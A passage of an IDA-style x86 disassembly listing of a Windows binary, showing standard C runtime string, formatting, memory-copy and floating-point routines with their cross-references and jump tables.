		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C921
		test	dl, dl
		jz	short loc_41C978
		test	dh, dh
		jz	short loc_41C96F
		test	edx, 0FF0000h
		jz	short loc_41C962
		test	edx, 0FF000000h
		jz	short loc_41C95A
		jmp	short loc_41C921
; ---------------------------------------------------------------------------


loc_41C95A:				; CODE XREF: sub_41C8A0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C962:				; CODE XREF: sub_41C8A0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C96F:				; CODE XREF: sub_41C8A0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C978:				; CODE XREF: sub_41C8A0+72j
					; sub_41C8A0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C8A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C990


loc_41C980:				; CODE XREF: sub_41C990+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C990
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C990	proc near		; CODE XREF: sub_401ACD+412p
					; sub_401ACD+4B9p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C996:				; CODE XREF: sub_41C2E0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C9BB


loc_41C9A8:				; CODE XREF: sub_41C990+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C980
		test	cl, cl
		jz	short loc_41CA04
		test	edx, 3
		jnz	short loc_41C9A8


loc_41C9BB:				; CODE XREF: sub_41C990+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C9C6:				; CODE XREF: sub_41C990+61j
					; sub_41C990+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41CA08
		and	eax, 81010100h
		jz	short loc_41C9C6
		and	eax, 1010100h
		jnz	short loc_41CA02
		and	esi, 80000000h
		jnz	short loc_41C9C6


loc_41CA02:				; CODE XREF: sub_41C990+68j
					; sub_41C990+81j ...
		pop	esi
		pop	edi


loc_41CA04:				; CODE XREF: sub_41C990+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41CA08:				; CODE XREF: sub_41C990+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41CA45
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA3E
		test	ah, ah
		jz	short loc_41CA02
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41CA37
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA30
		test	ah, ah
		jz	short loc_41CA02
		jmp	short loc_41C9C6
; ---------------------------------------------------------------------------


loc_41CA30:				; CODE XREF: sub_41C990+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA37:				; CODE XREF: sub_41C990+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA3E:				; CODE XREF: sub_41C990+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA45:				; CODE XREF: sub_41C990+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41CA50	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41CA9C


loc_41CA60:				; CODE XREF: sub_41CA50+3Cj
					; sub_41CA50+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+3]
		jnz	short loc_41CA94
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41CA60
		mov	edi, edi


loc_41CA90:				; CODE XREF: sub_41CA50+18j
					; sub_41CA50+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA94:				; CODE XREF: sub_41CA50+14j
					; sub_41CA50+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA9C:				; CODE XREF: sub_41CA50+Ej
		test	edx, 1
		jz	short loc_41CAB8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41CA94
		inc	ecx
		or	al, al
		jz	short loc_41CA90
		test	edx, 2
		jz	short loc_41CA60


loc_41CAB8:				; CODE XREF: sub_41CA50+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		add	ecx, 2
		jmp	short loc_41CA60
sub_41CA50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAD4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41CAED:				; CODE XREF: sub_41CAD4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41CAED
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41CB15
		mov	edx, dword_4DBE28


loc_41CB15:				; CODE XREF: sub_41CAD4+39j
					; sub_41CAD4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41CB35
		test	al, al
		jz	short loc_41CB35
		inc	edx
		jmp	short loc_41CB15
; ---------------------------------------------------------------------------


loc_41CB35:				; CODE XREF: sub_41CAD4+58j
					; sub_41CAD4+5Cj
		mov	ebx, edx


loc_41CB37:				; CODE XREF: sub_41CAD4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41CB5B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41CB57
		inc	edx
		jmp	short loc_41CB37
; ---------------------------------------------------------------------------


loc_41CB57:				; CODE XREF: sub_41CAD4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41CB5B:				; CODE XREF: sub_41CAD4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DBE28, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41CAD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB70	proc near		; CODE XREF: sub_409823+1Cp
					; sub_415DAC+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41CBAE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41CBBB
; ---------------------------------------------------------------------------


loc_41CBAE:				; CODE XREF: sub_41CB70+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41CBBB:				; CODE XREF: sub_41CB70+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41CB70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBC0	proc near		; CODE XREF: sub_40ADE1+88p
					; sub_40B90E+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41CC74
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41CBEA


loc_41CBDB:				; CODE XREF: sub_41CBC0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41CC1B
		test	edi, 3
		jnz	short loc_41CBDB


loc_41CBEA:				; CODE XREF: sub_41CBC0+19j
					; sub_41CBC0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41CBEA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41CC28
		test	ah, ah
		jz	short loc_41CC23
		test	eax, 0FF0000h
		jz	short loc_41CC1E
		test	eax, 0FF000000h
		jnz	short loc_41CBEA


loc_41CC1B:				; CODE XREF: sub_41CBC0+20j
		dec	edi
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC1E:				; CODE XREF: sub_41CBC0+52j
		sub	edi, 2
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC23:				; CODE XREF: sub_41CBC0+4Bj
		sub	edi, 3
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC28:				; CODE XREF: sub_41CBC0+47j
		sub	edi, 4


loc_41CC2B:				; CODE XREF: sub_41CBC0+5Cj
					; sub_41CBC0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C
		jmp	short loc_41CC5C
; ---------------------------------------------------------------------------


loc_41CC40:				; CODE XREF: sub_41CBC0+75j
					; sub_41CBC0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41CC7A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41CC70
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C


loc_41CC5C:				; CODE XREF: sub_41CBC0+7Ej
					; sub_41CBC0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41CC70


loc_41CC63:				; CODE XREF: sub_41CBC0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41CC72
		dec	ecx
		jnz	short loc_41CC63


loc_41CC70:				; CODE XREF: sub_41CBC0+8Bj
					; sub_41CBC0+A1j
		mov	[edi], cl


loc_41CC72:				; CODE XREF: sub_41CBC0+ABj
		pop	ebx
		pop	esi


loc_41CC74:				; CODE XREF: sub_41CBC0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC7A:				; CODE XREF: sub_41CBC0+85j
					; sub_41CBC0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC84:				; CODE XREF: sub_41CBC0+E4j
					; sub_41CBC0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41CC5C


loc_41CC8C:				; CODE XREF: sub_41CBC0+7Cj
					; sub_41CBC0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41CC84
		test	dl, dl
		jz	short loc_41CC7A
		test	dh, dh
		jz	short loc_41CCD8
		test	edx, 0FF0000h
		jz	short loc_41CCC8
		test	edx, 0FF000000h
		jnz	short loc_41CC84
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCC8:				; CODE XREF: sub_41CBC0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCD8:				; CODE XREF: sub_41CBC0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41CBC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCE3	proc near		; CODE XREF: ___:0040B062p
					; sub_40C2AF+40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B9C0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420DB0
		add	esp, 10h
		leave
		retn
sub_41CCE3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD20	proc near		; CODE XREF: sub_40B13C+62p
					; sub_40B13C+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CD40
		cmp	edi, eax
		jb	loc_41CEB8


loc_41CD40:				; CODE XREF: sub_41CD20+16j
		test	edi, 3
		jnz	short loc_41CD5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------


loc_41CD5C:				; CODE XREF: sub_41CD20+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CD74
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CD74:				; CODE XREF: sub_41CD20+46j
		jmp	dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD7C:				; CODE XREF: sub_41CD20+31j
					; sub_41CD20+8Ej ...
		jmp	off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 0CDh, 41h, 0
		dd offset loc_41CDBC
		dd offset loc_41CDE0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CDBC:				; DATA XREF: sub_41CD20+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CDE0:				; DATA XREF: sub_41CD20+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDFC	dd offset loc_41CE5F	; DATA XREF: sub_41CD20:loc_41CD7Cr
		dd offset loc_41CE4C
		dd offset loc_41CE44
		dd offset loc_41CE3C
		dd offset loc_41CE34
		dd offset loc_41CE2C
		dd offset loc_41CE24
		dd offset loc_41CE1C
; ---------------------------------------------------------------------------


loc_41CE1C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CE24:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CE2C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CE34:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CE3C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CE44:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CE4C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CE5F:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20:off_41CDFCo
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CE68	dd offset loc_41CE78	; DATA XREF: sub_41CD20+35r
					; sub_41CD20+92r ...
		dd offset loc_41CE80
		dd offset loc_41CE8C
		dd offset loc_41CEA0
; ---------------------------------------------------------------------------


loc_41CE78:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE80:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE8C:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CEA0:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CEB8:				; CODE XREF: sub_41CD20+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CEEC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CEE0:				; CODE XREF: sub_41CD20+1B1j
					; sub_41CD20+208j ...
		neg	ecx
		jmp	off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEEC:				; CODE XREF: sub_41CD20+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CF04
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CF04:				; CODE XREF: sub_41CD20+1D6j
					; DATA XREF: sub_41CD20+1DDr
		jmp	off_41D000[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
		cmp	bh, cl
		inc	ecx
		add	[eax-31h], ah
		inc	ecx


loc_41CF17:				; DATA XREF: sub_41CD20+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CFB4
		dd offset loc_41CFBC
		dd offset loc_41CFC4
		dd offset loc_41CFCC
		dd offset loc_41CFD4
		dd offset loc_41CFDC
		dd offset loc_41CFE4
off_41CFB0	dd offset loc_41CFF7	; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------


loc_41CFB4:				; DATA XREF: sub_41CD20+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CFBC:				; DATA XREF: sub_41CD20+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CFC4:				; DATA XREF: sub_41CD20+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CFCC:				; DATA XREF: sub_41CD20+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CFD4:				; DATA XREF: sub_41CD20+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CFDC:				; DATA XREF: sub_41CD20+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CFE4:				; DATA XREF: sub_41CD20+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CFF7:				; CODE XREF: sub_41CD20+1C2j
					; DATA XREF: sub_41CD20:off_41CFB0o
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D000	dd offset loc_41D010	; DATA XREF: sub_41CD20+1B7r
					; sub_41CD20:loc_41CF04r ...
		dd offset loc_41D018
		dd offset loc_41D028
		dd offset loc_41D03C
; ---------------------------------------------------------------------------


loc_41D010:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D018:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D028:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D03C:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CD20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D055(double)

sub_41D055	proc near		; CODE XREF: sub_40D2F4+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE10
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D0DB
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D0BE
		cmp	eax, 2
		jle	short loc_41D0B0
		cmp	eax, 3
		jnz	short loc_41D0BE
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0B0:				; CODE XREF: sub_41D055+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0BE:				; CODE XREF: sub_41D055+3Aj
					; sub_41D055+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41D118
; ---------------------------------------------------------------------------


loc_41D0DB:				; CODE XREF: sub_41D055+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D0FE


loc_41D0F0:				; CODE XREF: sub_41D055+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0FE:				; CODE XREF: sub_41D055+99j
		test	bl, 20h
		jnz	short loc_41D0F0
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41D118:				; CODE XREF: sub_41D055+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D120:				; CODE XREF: sub_41D055+59j
					; sub_41D055+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D055	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D124	proc near		; CODE XREF: ___:0041C16Dp
					; sub_422152+21p
					; DATA XREF: ...
		call	sub_41D13C
		call	sub_422152
		mov	dword_4DBE30, eax
		call	sub_422102
		fnclex
		retn
sub_41D124	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41D13C	proc near		; CODE XREF: sub_41D124p
		mov	eax, offset sub_422540
		mov	off_43D424, offset sub_4221D5
